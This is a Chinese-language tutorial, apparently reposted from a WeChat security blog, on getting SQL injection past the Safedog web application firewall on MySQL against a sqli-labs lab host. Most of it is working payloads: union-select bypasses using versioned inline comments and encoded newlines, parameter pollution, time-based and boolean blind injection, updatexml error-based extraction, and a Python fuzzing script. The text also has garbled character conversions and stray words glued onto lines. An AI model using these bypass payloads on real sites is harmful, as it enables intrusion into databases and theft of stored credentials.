一篇文章带你进入Bypass 技术大门!

做者:404php

项目地址:mysql

https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKIgit


0x00 目录


  1. 联合过狗github

  2. 盲注过狗web

  3. 报错过狗sql

0x01 联合过狗


其实咱们过这些waf就是个正则的绕过,由于这种通用型的waf,须要考虑到用户体验,他不能出现什么东西就直接拦截,比正则过滤的一些好绕一点,如何成功绕过咱们须要具有对mysql各个函数、语法、特性的熟悉,而后经过不断的fuzz来测试出咱们想要的payload的apache

每一个狗的版本不一样,他的正则也是不一样的因此有的payload在最新版能够用,在老板不就可能用不上,当你的知识量有必定的积累后,绕过waf或许就很简单,安全

如何快速的提高本身的这些知识,多看文章,多看官方手册。微信

0x01-1 探索 and


实验环境 :win2003 apache 安全狗4.0.23957函数

首先咱们来探索简单的语句 and 1=1

and 1    拦截
and '1' 拦截
and a 不拦截
and 'a' 拦截
and ! 不拦截
and 1+1 拦截
and 1+a 拦截
and hex(1) 不拦截

经过测试咱们发现当 and 后面跟上 数字型和字符型时他会给咱们拦截掉 ,其实咱们在安全狗的规则里面能够看到他拦截 and 和 or 因此咱们有2个思路

  1. 用其余字符替换 and 或者 or

  2. 带入的不是字符串和数字型,带入一个特殊符号

针对第一种咱们能够去看看运算符号 随便找到几个| ^ xor & / * && || 等等还有不少

mysql> select '1'|1;
+-------+
| '1'|1 |
+-------+
| 1 |
+-------+
1 row in set (0.00 sec)


mysql> select '1'&1;
+-------+
| '1'&1 |
+-------+
| 1 |
+-------+
1 row in set (0.00 sec)

mysql> select '1'^1;
+-------+
| '1'^1 |
+-------+
| 0 |
+-------+
1 row in set (0.00 sec)

知道这个了咱们带入咱们的语法就很简单了 经过运算符来改变ID的值 查看页面是否变化 这是可行的。

mysql> select * from admin where id ='1'|2-- +';
-> ;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 3 | bdmin | fdmin |
+------+----------+----------+
1 row in set (0.00 sec)

mysql> select * from admin where id ='1'|1-- +';
-> ;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | cdmin | bdmin |
+------+----------+----------+
1 row in set (0.00 sec)

通过测试你还会发现他的正则不全&& true 也是能够的。

那咱们能够不能够正面刚and or 呢,固然也是可行的,前面咱们测试过 and hex(1) 不拦截其实已经能够拿来判断了,可是咱们还要深刻的探究

and hex(1)= 也是不拦截的 可是后面加入字符型和数字型他又开始拦截,因此咱们能够猜想 他判断 = 左右的字符类型,通过测试就能出来不少咱们想要的

and ~1>1

and hex(1)>-1

and hex(1)>~1

再深刻探究 你就会发现 安全狗他只在意 数字型的正数,而不在意负数,也就是and -2<-1 就能过狗,也多是- 绕过了他的正则

0x01-2 探索 union select


  1. 内联注释绕过

union    不拦截
select 不拦截
union select 拦截
union 各类字符 select 拦截
union/*select*/ 不拦截

经过简单的测试咱们发现安全狗仍是认识咱们咱们的注释的符号的,因此咱们就须要经过这个来绕过咱们的安全狗,前面符号一章我讲过注释符号的几种,咱们主要使用的是

内联注释 /*!/*!*/

http://192.168.59.129/Less-1/?id=1' union/*!/*!50000select*/ 1,2,3--+  拦截

http://192.168.59.129/Less-1/?id=1' union/*!/*!5select*/ 1,2,3--+ 不拦截

为何不拦截 ,由于50000是他的版本号,你多一位少一位语句是不能能正常执行的,因此他就放行了,那么咱们能够用burp来遍历这个值呢,结果的确是咱们想要的

http://192.168.59.129/Less-1/?id=1' union/*!/*!11440select*/ 1,2,3--+ 不拦截

http://192.168.59.129/Less-1/?id=1' union/*!11441/*!11440select*/ 1,2,3--+ 不拦截

http://192.168.59.129/Less-1/?id=1' union/*!11440select*/ 1,2,3--+ 不拦截

http://192.168.59.129/Less-1/?id=-1' union/*!11440/**/%0aselect*/ 1,2,3--+ 不拦截

这句bypass的核心就在于版本号,而后你就感受fuzz了千种姿式,可是核心仍是这个,最简也是这个,万变不离其宗。

  1. 注释绕过

联想注释咱们还知道有 -- # 那么他们能够利用吗,固然是确定的,其实好久之前就有大佬发过这个语句了是union %23%0aselect 由于这些都是单行注释,而%0a 是换行的url编码,你们能够换行后用url编码看看,就是这个,可是这样已经被加入规则库了,如何绕过呢 很是简单 固然这是个fuzz的过程,其实我只想写出思路,而不是直接给payload。

union %23%0aselect 拦截

union %23select 拦截

union a%23 select 不拦截

union all%23 select 不拦截

union all%23%0a select 不拦截

union %23%0aall select 不拦截

有时候fuzz右边不行 不如看看左边 为何能够加all 这个你就得看看mysql手册了,其实测试到最后发现%23%0a中间不能加字符不然会背拦截。

  1. -- 注释绕过

-- 其实大佬们也同样很早说了不过最初的姿式是 -- %0a 固然已经被加入豪华午饭了,因此咱们来测试

union all -- %0a select 拦截

union -- ()%0a select 拦截

union -- 1%0a select 不拦截

union -- hex()%0a select 不拦截

懂我意思吧,怎么绕出来,发挥你的现象,总之俩开花。

  1. 老生常谈 hpp 被人遗忘的手法

前面说过 /**/ 里面的内容安全狗基本无论了,那么咱们用hpp 参数污染来绕过就很简单了照成这个手法的缘由是 web server 对参数的解析问题 在php/apache 中 它总解析最后一个id

http://192.168.59.129/Less-1/?id=-1' /*&id='union select 1,user(),3 -- +*/

0x01-3 注入


既然绕过了 union select 那么注入就简单了 首先来看个 user() ,由于它是被拦截的因此咱们须要简单的绕过它

user()   拦截
user/**/() 拦截
user/**/(/**/) 拦截
hex(user/**/(/**/)) 不拦截

接着就是爆库名

union  -- hex()%0a select 1,schema_name,3 from `information_schema`.schemata limit 1,1

接下来的流传都差很少了 关键点就是在于 from 后面这块 后面的我以这个information_schema.schemata 为例展现几种思路可能有的不能过

`information_schema`.schemata
`information_schema`.`schemata`
information_schema.`schemata`
(information_schema.schemata)
information_schema/**/.schemata

0x02 盲注过狗


0x02-1 延时过狗


盲注过狗相对联合注入来讲,感受上是更简单,咱们先来试试时间盲注把,比布尔稍稍灵活一点

if(1,1,1) 不拦截
a if(1,1,1) 不拦截
and if(1,1,1) 拦截
| if(1,1,1) 不拦截
|| if(1,1,1) 拦截
&& if(1,1,1) 拦截
/*!and*/ if(1,1,1) 拦截
/*!11440and*/ if(1,1,1) 不拦截
andaif(1,1,1) 不拦截

经过上面的测试咱们其实能够很简单的看出来 他是拦截的 xx if 这个语句,其中xx 为and 和 or 这2个词有点敏感,可是绕过仍是能够的

经过上一章的测试语句 发现版本为 11440的 内联注释直接放行,咳咳这样后面就直接注入,感受并非咱们这一章想要的,咱们这一章来试试不用内联注释内不内绕过

查阅乌云知识库发现一个小知识点 and!!!1=1 and后面能够接上奇数个特殊的字符包括不限于! ~ & - 其余还能够本身测试 那么咱们的payload就能构造出来了

and!!!if((substr((select hex(user/**/(/*!*/))),1,1)>1),sleep/**/(/*!5*/),1)

系统函数怎绕过我就很少说了每一张就有

0x02-2 布尔过狗


布尔注入过狗只能说是相对来讲最简单的吧,由于能够不使用条件语句,少了一个绕过点

and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)='r' 拦截

and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=r 不拦截

and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=1 不拦截

上面忘了说的就是这个点 =r 这里 不能使用引号,那绕过他就很简单了 什么 HEX ASCII 都行,经过测试发现 使用布尔盲注 他的过滤真的不好,咱们试试 把and 换成&&

and substr((select hex(user/**/(/*!*/))),1,1)>1 拦截

/*!and*/ substr((select hex(user/**/(/*!*/))),1,1)>1 拦截

%26%26 substr((select hex(user/**/(/*!*/))),1,1)>1 拦截

/*!%26%26*/ substr((select hex(user/**/(/*!*/))),1,1)>1 不拦截

0x03 报错过狗


0x03-1 探索报错


报错注入的绕过,感受不多人提过,很多人绕过也有必定的误区吧,这里提一提

updatexml 不拦截

updatexml(1,2,3 不拦截

updatexml(1,2) 不拦截

updatexml(1,2,) 不拦截

updatexml(,2,1) 不拦截

updatexml(1,2,!) 拦截

updatexml(1,2,%) 拦截

updatexml(,2,1,hex()) 拦截

and updatexml(1,2,3 不拦截

updatexml(1,2,3) 拦截

and updatexml(1,2,3) 拦截

到这里咱们 大概知道了,他的判断 updatexml() 的完整性 ,当里面按逗号分割出现出现3个字符时,就会拦截,固然有个别特殊的字符串他没过滤

这样咱们在括号里面作手脚的可能性很渺茫,那么咱们还有 什么方法呢, 能够尝试把updatexml() 函数分开,或者给updatexml 加个外套。

/*updatexml*/(1,1,1) 不拦截

/*!updatexml*/(1,1,1) 拦截

/*!5000updatexml*/(1,1,1) 不拦截

/*!11440updatexml*/(1,1,1) 不拦截

看来 updatexml() 函数咱们已经绕过了 须要前面加个 运算符号了

and /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1)  拦截

or /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 拦截

/*!and*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 拦截

/*!%26%26*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 不拦截

/*!||*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 不拦截

/*!xor*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 不拦截

| /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 不拦截

xor /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 不拦截

那么有没有什么能够包裹他的呢,其实咱们查看mysql手册找到这么一个符号 开单引号 ASCII 96

http://192.168.130.135/Less-1/?id=1' and `updatexml`(1,(select hex(user/**/(/**/))),1)-- +

那么咱们写个小脚本跑看看 还有没有

import requests
import urllib

for i in range(0,177):
url = r"http://192.168.130.135/Less-1/?id=1%27%20xor%20{fuzz}updatexml{fuzz}(1,(select hex(user/**/(/**/))),1)--%20+".format(fuzz=urllib.quote(chr(i)))
req = requests.get(url)
if "F6F7" in req.text:
print len(req.text),i,urllib.quote(chr(i))


本文分享自微信公众号 - 贝塔安全实验室(BetaSecLab)。
若有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一块儿分享。

相关文章
相关标签/搜索